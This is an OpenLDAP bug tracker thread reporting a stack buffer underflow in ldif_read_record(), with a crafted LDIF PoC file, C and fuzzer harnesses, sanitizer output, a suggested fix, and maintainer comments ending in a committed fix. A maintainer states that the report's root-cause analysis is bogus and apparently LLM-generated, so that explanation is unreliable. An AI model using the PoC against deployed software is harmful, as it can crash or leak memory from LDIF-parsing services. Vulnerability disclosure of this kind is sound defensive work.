https://bugs.openldap.org/show_bug.cgi?id=10431
Issue ID: 10431 Summary: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs@openldap.org Reporter: zesheng@tamu.edu Target Milestone: ---
# Summary
A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()` function allows an attacker to trigger out-of-bounds memory reads when processing malformed LDIF data, potentially leading to information disclosure or crashes.
## Root Cause
The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When `fgets()` returns NULL and sets `len = 0`, the loop increment expression `last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow.
### Vulnerable Code (ldif.c:799-803) ```c int ldif_read_record( LDIFFP *lfp, unsigned long *lno, char **bufp, int *buflenp ) { char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32 ber_len_t lcur = 0, len; int last_ch = '\n', found_entry = 0, stop, top_comment = 0;
for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0, accesses line[-1] // ... if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) { // ... stop = 1; len = 0; // len is set to 0 here } // ... } // At loop increment: line[len-1] = line[-1] = UNDERFLOW! } ```
## PoC
### Trigger file
A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow:
``` hexdump -C poc: 00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d| 00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo| ```
### How to generate poc
```python # generate_poc.py data = bytes([ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64, 0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73, 0x74, 0x77, 0x6f ]) with open("poc", "wb") as f: f.write(data) ```
---
## Trigger Method 1: Direct API Call
```c // test_ldif.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h>
int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET);
char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f);
LDIFFP *fp = ldif_open_mem(input, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0;
// This triggers the vulnerability ldif_read_record(fp, &lineno, &buf, &buflen);
if (buf) ber_memfree(buf); ldif_close(fp); } free(input); return 0; } ```
**Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make
# Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_ldif.c -o test_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
./test_ldif ```
**Output:** ``` ==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x7fff... thread T0 #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37
Address 0x7fff... is located in stack of thread T0 at offset 31 in frame #0 0x... in ldif_read_record libraries/libldap/ldif.c:798
This frame has 1 object(s): [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this variable
SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in ldif_read_record ```
---
## Trigger Method 2: Fuzzer
```c // fuzz_ldif.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 65536) return 0;
char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0';
char *mem_copy = (char *)malloc(size + 1); if (mem_copy) { memcpy(mem_copy, data, size); mem_copy[size] = '\0';
LDIFFP *fp = ldif_open_mem(mem_copy, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; int count = 0;
while (count < 100) { int rc = ldif_read_record(fp, &lineno, &buf, &buflen); if (rc <= 0) break; count++; }
if (buf) ber_memfree(buf); ldif_close(fp); } free(mem_copy); }
free(input); return 0; } ```
**Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_ldif.c -o fuzz_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
mkdir corpus && cp poc corpus/ ./fuzz_ldif corpus/ ```
---
## Impact
| Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious LDIF file | | **Affected Components** | `ldif_read_record()`, libldap | | **Affected Applications** | Any application using libldap to parse LDIF (slapadd, ldapmodify, custom apps) | | **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) |
---
## Suggested Fix
Add a check to ensure `len > 0` before accessing `line[len-1]`:
```c for ( stop = 0; !stop; ) { // ... existing code ...
// At end of loop body, before continuing: if (len > 0) { last_ch = line[len-1]; } // Or move len=0 case handling before the loop increment } ```
Alternative fix - initialize `len` to a safe value and guard the access:
```c for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) { ```
https://bugs.openldap.org/show_bug.cgi?id=10431
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Keywords|needs_review | Target Milestone|--- |2.6.12
https://bugs.openldap.org/show_bug.cgi?id=10431
--- Comment #1 from Ondřej Kuzník ondra@mistotebe.net --- I would note that the analysis is completely bogus. This only happens when the file contains a nul byte at the beginning of a line so the code path to reach this situation is very different from the above suggestion (e.g. stop is never set).
Please don't use LLMs to do analysis for you, you will not learn anything and everyone will only waste time correcting inevitable hallucinations.
https://bugs.openldap.org/show_bug.cgi?id=10431
Ondřej Kuzník ondra@mistotebe.net changed:
What |Removed |Added ---------------------------------------------------------------------------- Assignee|bugs@openldap.org |ondra@mistotebe.net Status|UNCONFIRMED |IN_PROGRESS Ever confirmed|0 |1
--- Comment #2 from Ondřej Kuzník ondra@mistotebe.net --- Please test with https://git.openldap.org/openldap/openldap/-/merge_requests/826
https://bugs.openldap.org/show_bug.cgi?id=10431
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Status|IN_PROGRESS |RESOLVED Resolution|--- |FIXED
--- Comment #3 from Quanah Gibson-Mount quanah@openldap.org --- head:
• cd70bf50 by Ondřej Kuzník at 2026-01-29T16:14:30+00:00 ITS#10431 Enforce a stop when encountering a nul-leading line
RE26:
• 886ab56f by Ondřej Kuzník at 2026-01-29T22:19:42+00:00 ITS#10431 Enforce a stop when encountering a nul-leading line
https://bugs.openldap.org/show_bug.cgi?id=10431
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Status|RESOLVED |VERIFIED
https://bugs.openldap.org/show_bug.cgi?id=10431
--- Comment #4 from zesheng@tamu.edu --- Really sorry about the mistake! I spent too much time on designing the fuzzer and reproducing the vuln. I thought AI can give some insights based on my fuzzer and crash trace....
Sorry again for my ignorance.
The fix looks good to me. It passed all tests. Thank you so much! You're tee hero.
Best, Ze